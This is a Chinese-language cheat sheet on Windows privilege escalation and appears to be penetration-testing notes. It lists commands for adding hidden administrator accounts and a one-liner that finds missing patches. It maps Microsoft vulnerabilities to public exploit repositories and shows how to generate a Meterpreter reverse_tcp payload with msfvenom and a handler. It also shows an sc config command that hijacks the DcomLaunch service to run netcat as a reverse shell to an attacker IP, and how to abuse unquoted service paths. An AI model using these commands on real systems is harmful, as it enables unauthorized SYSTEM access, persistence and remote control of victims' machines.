Windows提权
常见提权方法
溢出漏洞提权(系统提权)
数据库提权
第三方应用软件提权
CMD命令无法执行的原因分析
1、主要原因是CMD.exe被管理员降权或者删除,也有可能是组件被删除
2、解决办法通过脚本木马查找可读写目录,上传cmd.exe,调用cmd路径执行命令(找可读写目录不要选带空格的
菜刀设置cmd路径命令:setp c:\wmpub\cmd.exe
提权常用命令
whoami
- 查看用户权限
systeminfo
- 查看操作系统,补丁情况
ipconfig
- 查看当前服务器IP ipconfig /all
net user
- 查看当前用户情况
- net user best 123456 /add 添加用户名为best,密码为123456
- net localgroup administrators best /add 将用户名为best的用户添加到管理员组
- net user best /del 删除best用户
netstat
- 查看当前网络连接情况,netstat -nao /netstat -an |find “ESTABLISHED”
tasklist
- 查看当前进程情况 tasklist /svc
taskkill
- 结束进城 taskkill -pid xxx -pid xxx
net start
- 启动服务
net stop
- 停止服务
提权常用漏洞
微软官方时刻关注列表网址
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017
快速查找未打补丁的 exp,可以最安全的减少目标机的未知错误,以免影响业务。 命令行下执行检测未打补丁命令如下:
systeminfo>micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i “%i”|| @echo %i you can fuck)&del /f /q /a micropoor.txt
已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
-
常用exp备注:
MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP) MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) MS15-097 [KB3089656] [remote code execution] (win8.1/2012) MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) MS14-070 [KB2989935] [Kernel Driver] (2003) MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)
- MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) MS14-002 [KB2914368] [NDProxy] (2003/XP) MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) MS11-080 [KB2592799] [AFD.sys] (2003/XP) MS11-062 [KB2566454] [NDISTAPI] (2003/XP) MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) MS10-092 [KB2305420] [Task Scheduler] (2008/7) MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) MS09-050 [KB975517][Remote Code Execution] (2008/Vista) MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) MS08-068 [KB957097] [Remote Code Execution] (2000/XP) MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) MS08-066 [] [] (Windows 2000/XP/Server 2003) MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003) MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
提权实例
生成木马并监听
-
木马生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=4444 -f exe -o payload.exe
-
本地监听:
msf > use exploit/multi/handler
msf > exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf > exploit(handler) > set lhost 10.0.0.217
msf > exploit(handler) > set lport 4444
msf > exploit(handler) > exploit
-
payload位置
exploit/Windows/local/
- 查看当前权限getuid
- 提权 getsystem
-
sc 系统服务提权
- SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
-
创建一个名叫syscmd的新的交互式的cmd服务
sc Create syscmd binPath= “cmd /K start” type= own type= interact
-
启动服务
sc start systcmd
-
停止服务
sc stop syscmd
-
删除服务
sc delete system
-
-
不带引号的服务路径
路径中存在空格
- 查看错误配置的路径
- wmic service get name,displayname,pathname,startmode |findstr /i “Auto” |findstr /i /v “C:\Windows\” |findstr /i /v “”"
-
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
将木马命名为错误路径中存在空格的位置,并重命名为空格前面的名字,系统加载该服务时就会运行木马程序
不安全的配置权限
- 1、利用系统自带的 DcomLaunch服务测试
-
“sc qc DcomLaunch”命令查询DcomLaunch的详细信息
net start | find “DCOM Server Process Launcher” 查看服务是否启动
运行 tasklist /svc 找到对应服务
-
- 2、接下来就是修改服务并获取系统权限
-
我们把nc放到c:\windows\temp目录下
使用sc对服务进行修改
sc config DcomLaunch binpath= “C:\wmpub\nc.exe -nv 192.168.32.194 4433 -e C:\WINDOWS\system32\cmd.exe”
*注意binpath=后面一定要有个空格
-
- 3、sc qc DcomLaunch 查看是否第二步成功
- 4、sc config DcomLaunch obj= “.\LocalSystem” password= “”
-
obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。
默认设置为 LocalSystem。
password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。
-
- 5、最后使用 net start DcomLaunch 命令重启这个服务
-
6、攻击机上用nc进行监听4433即可得到反弹的shell
nc.exe -vv -l -p 4433